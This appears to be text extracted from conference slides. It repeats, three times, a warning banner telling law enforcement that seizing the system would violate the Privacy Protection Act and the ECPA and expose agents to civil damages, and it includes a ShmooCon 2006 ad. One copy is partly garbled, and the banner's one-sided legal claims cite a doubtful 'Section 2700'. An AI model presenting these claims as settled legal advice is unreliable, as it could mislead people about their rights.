Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

In addition, there is email, i.e., "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stored electronic communications are protected by the ECPA from seizure or even "preventing authorized access" without a warrant specific to each person's email. Seizing the computer where this email resides would prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. Please warrants before seizing this equipment.





The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" has stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute

In addition, there is email, i.e. "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stóred electronic communications are protected by the ECPA from seizure or preventing authorized without a warrant access" specific to each person's email Seizing the computer where this email resides prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all expenses for violations _ of Section 2700 and 2703. ensure you have appropriate warrants before seizing this equipment



ShmooCon 2006

- January 13-15
- Washington, D.C.
- Pre-registration is LIVE now.

- http://www.shmoocon.org
- Got an ad? Submit it!
- Here's one...

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

In addition, there is email, i.e., "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stored electronic communications are protected by the ECPA from seizure or even "preventing authorized access" without a warrant specific to each person's email. Seizing the computer where this email resides would prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. Please ensure you have appropriate warrants before seizing this equipment.



Thanks! Questions?